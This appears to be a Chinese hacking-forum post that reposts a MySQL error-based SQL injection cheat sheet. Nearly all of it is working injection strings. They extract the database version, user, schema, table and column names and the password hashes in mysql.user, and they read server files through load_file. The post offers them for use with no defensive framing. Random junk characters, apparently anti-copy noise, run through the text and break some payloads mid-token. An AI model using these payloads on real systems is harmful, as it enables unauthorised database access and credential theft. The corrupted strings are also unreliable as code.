本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
5 ?" L; u) I$ o4 a- i8 k: b* o O: b! u! z1 X; J" O
+ Y, i. Q2 z1 |9 r( K4 ?
Mysql暴错注入参考(pdf),每天一贴。。。$ {, p8 C. }& N) O
4 ?; M4 a4 N/ @" ?; f4 g4 n5 n
MySql Error Based Injection Reference
4 t! k( ~2 _: ~! c[Mysql暴错注入参考]7 u3 w) I9 O5 p% ^! ^" V% g
Authornig0s1992
% g" z: w5 Z# F$ Z! l9 xBlog:http://pnig0s1992.blog.51cto.com/" O9 H% b) D! V s% A8 x) U
TeAm:http://www.FreeBuf.com/8 m/ _( C$ K! p
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功' @7 h+ E W/ L$ B
小部分版本使用name_const()时会报错.可以用给出的Method.2测试9 m0 L; u" O5 k. V+ L9 N. z
查询版本:
- z; n/ V1 d9 x7 N1 V) \* bMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+( r: a6 J1 C! F+ j1 b s
join+(select+name_const(@@version,0))b)c); D7 [: j3 Q% K' Q! F$ Y7 ?
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro8 h' C, y' a0 n1 q& X
up by a)b)
) M. k' i- t) T查询当前用户:
$ j# W. q }: uMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
9 s9 V& W* x, f9 kMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r" U# r; v& s7 [8 G& J* _
and(0)*2))x+from+information_schema.tables+group+by+x)a)# J0 ~; d% {" ?: k8 |* F
查询当前数据库:1 s. q: p# |8 y2 ]8 Y! b, x6 H
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)2 U9 c" F) c( {7 m
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo6 l% I5 s4 Q8 ~, m+ t. \
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
# o8 ?% c+ ]! D; b依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+& e/ j& w( f( { [2 V' R0 X6 W3 E* `
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n4 L8 m" U% d' j. K' h2 E3 Z! O+ }
顺序替换7 O$ z3 D& J/ v, ~, {! q
爆指定库数目:
* e* m: f3 @8 d* T( w; kand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
* i/ D8 p6 w/ [* q7 W/ D) kable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group, m* j. e& F- k9 M, V0 ^2 T" o. y* J
+by+x)a)+and+1=1 0x6D7973716C=mysql
9 f" g6 s6 N9 J& L: v& f) s依次爆表:
w. q" l" |9 vand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
) B2 X6 @7 U8 D$ qable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
) j# ^1 ?1 x5 \- j# l+ y: rbles+group+by+x)a)+and+1=1
2 d, p1 o) _6 G9 m: ~! ^# s0x6D7973716C=Mysql 将n顺序替换
3 ^5 l1 n9 Q, v$ d* H/ L爆表内字段数目:
' K1 o$ V# U$ L9 hand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
, S2 e0 o6 [( h- P# [( ?+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran Q: S7 n% R; g# M) K; I
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
2 B8 @1 z7 P( W, @/ y依次爆字段:5 E4 u; \2 Q6 Z" {9 V" S
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where3 w9 @2 }# R7 h" H3 Q) g6 l. V
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1' {- R* n7 L6 r, N
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换4 O6 i$ j+ d; u% t6 v
依次暴内容:
* f) W/ r8 P: e8 ?+ r) r |and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
2 X! k. @8 t" f' e9 J Ema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
+ t0 y s& X/ v将n顺序替换. G: x; t, D& `
爆文件内容:
3 ~7 z' P' g& M6 |9 Land+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
: O% \, A! A; R( \0 t: F( bfrom+information_schema.tables+group+by+a)b) 1 S: w/ ?2 a9 p" H5 f
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
- L& ^( H5 p& s: ^+ kThx for reading.
7 O# z7 p4 |: g! n
8 o2 s; x2 ^) K. `不要下载也可以, 5 B# {6 [6 ^( X
|